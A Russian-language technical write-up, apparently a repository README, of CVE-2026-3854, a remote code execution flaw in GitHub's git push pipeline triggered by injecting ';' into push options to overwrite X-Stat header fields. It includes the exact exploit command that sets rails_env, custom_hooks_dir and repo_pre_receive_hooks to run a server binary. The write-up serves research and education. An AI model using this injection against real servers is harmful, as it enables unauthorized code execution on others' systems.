5kr1pt/cve-2026-3854Технический разбор CVE-2026-3854 — RCE в GitHub через инъекцию заголовков в git push, с объяснением уязвимости, техники эксплуатации и мер по смягчению последствий.
Практическое резюме того, как работает уязвимость, обнаруженная Wiz Research во внутреннем конвейере git push GitHub.com и GitHub Enterprise Server.
Этот материал предназначен для образовательных целей и исследований в области наступательной безопасности. Уязвимость уже исправлена GitHub во всех поддерживаемых версиях. Не пытайтесь воспроизвести её против сред, которые не являются вашими или на тестирование которых у вас нет явного письменного разрешения. Несанкционированный доступ к системам является преступлением в Бразилии (Закон 12.737/2012, известный как Закон Каролины Дикманн) и может квалифицироваться как вторжение в компьютерное устройство с наказанием в виде лишения свободы.
Аутентифицированный атакующий может получить RCE в GitHub, отправив ; в git push -o. Babeld (внутренний прокси GitHub, точка входа для всего SSH) не санирует его, и ; ломает внутренний заголовок X-Stat, перезаписывая поля безопасности, которым gitrpcd слепо доверяет. С помощью 3 перезаписей (, , ) pre-receive hook конкатенирует и выполняет произвольный бинарный файл сервера от имени пользователя git.
rails_envcustom_hooks_dirrepo_pre_receive_hooks
По сути, нам удаётся записать в заголовок X-Stat, потому что в git push нет санитизации ;, и мы делаем это, указывая на путь целевого сервера, например /bin, и затем можем сконкатенировать его с другим "полем" этого заголовка — repo_pre_receive_hooks. Таким образом, если это поле равно whoami, при конкатенации получится /bin/ + whoami, и оно выполнится непосредственно на сервере.
Однако по умолчанию в X-Stat все эти поля уже заполнены babeld, поскольку RPC (gitrpcd) слепо доверяет ему при чтении, полагая, что пользователь не может их изменить:
Ниже приведён пример того, как babeld заполняет поля в X-Stat:
rails_env=production;
user_id=int:42531;
user_login=paulo.werneck;
repo_id=int:8821;
repo_path=/data/repositories/a/b/cd/ef/12/8821.git;
operator_mode=bool:false;
user_operator_mode=bool:false;
custom_hooks_dir=/data/user/git-hooks;
repo_pre_receive_hooks=[{"id":1,"script":"validate-commit.sh","enforcement":"required"}];
large_blob_rejection_enabled=bool:true;
max_blob_size=int:104857600;
reject_sha_like_refs=bool:true;
push_option_count=int:0
Но из-за того, что он не санирует ; во время git push, вы можете записывать прямо в него, и, чтобы завершить всё идеально, он работает по принципу last-write-wins — последняя запись имеет значение. Так что если я выполню:
git push -o "x;rails_env=production" -o "x;custom_hooks_dir=/bin" -o "x;repo_pre_receive_hooks=[{\"script\":\"whoami\"}]"
Перезаписанные поля станут:
custom_hooks_dir=/bin
repo_pre_receive_hooks=whoami
(На самом деле всё не так просто, как в примере выше, где просто подставляется whoami. На деле это JSON, поэтому это будет выглядеть скорее как [{"script":"whoami"}].)
И тогда, в уязвимой версии, он выполнит бинарный файл whoami на сервере.
Но только этого недостаточно — он всё ещё будет выполняться лишь в песочнице. Поэтому важно изменить ещё один параметр в заголовке X-Stat — rails_env=production. Он должен быть любым значением, кроме production.
Наконец, вредоносный скрипт будет выглядеть так:
git push -o "x;rails_env=development" -o "x;custom_hooks_dir=/bin" -o "x;repo_pre_receive_hooks=[{\"script\":\"whoami\"}]"